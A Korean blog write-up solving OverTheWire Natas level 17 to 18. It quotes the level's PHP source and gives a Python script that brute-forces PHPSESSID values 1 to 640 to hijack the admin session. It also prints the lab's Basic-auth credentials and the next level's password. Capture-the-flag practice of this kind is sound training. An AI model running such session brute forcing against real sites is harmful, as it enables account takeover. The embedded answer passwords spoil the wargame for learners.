Level 17 → Level 18
Web/Natas

Level 17 → Level 18

반응형


<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>

이번에도 소스를 자세히 살펴보도록 합시다.

Session과 관련된 문제라는 것을 알 수 있습니다.

일단 세션을 가리키는 Cookie 값을 살펴보도록 하겠습니다.

 

현재는 50이라는 값을 가지고 있군요.

PHPSESSID 라는 쿠키는 서버에서 설정할 세션 값의 ID를 나타냅니다.

그리고 소스를 봤을 때 세션 ID가 존재하는 범위는 1~640 사이입니다.

 

이제 저희가 할 일은 Bruteforce로 어떤 값이 'admin'의 값을 1로 갖고 있는지만 찾아내면 됩니다.

다음은 해당 파이썬 코드입니다.

 

[natas18.py]

'''
NATAS 18
'''
import requests

url = 'http://natas18.natas.labs.overthewire.org/'
auth_uname = 'natas18'
auth_passwd = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP'

for i in range(1,641):
    # Build the GET method
    headers = {'Cookie':f'PHPSESSID={i}',
               'Authorization':
               'Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA=='
               }
    r = requests.get(url, headers=headers)

    # Check valid session_id
    if 'You are an admin.' in r.text:
        print(f'ADMIN\'s Session ID: {i}')
        print(r.text)
        break

얻었습니다. Pass!

 

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

반응형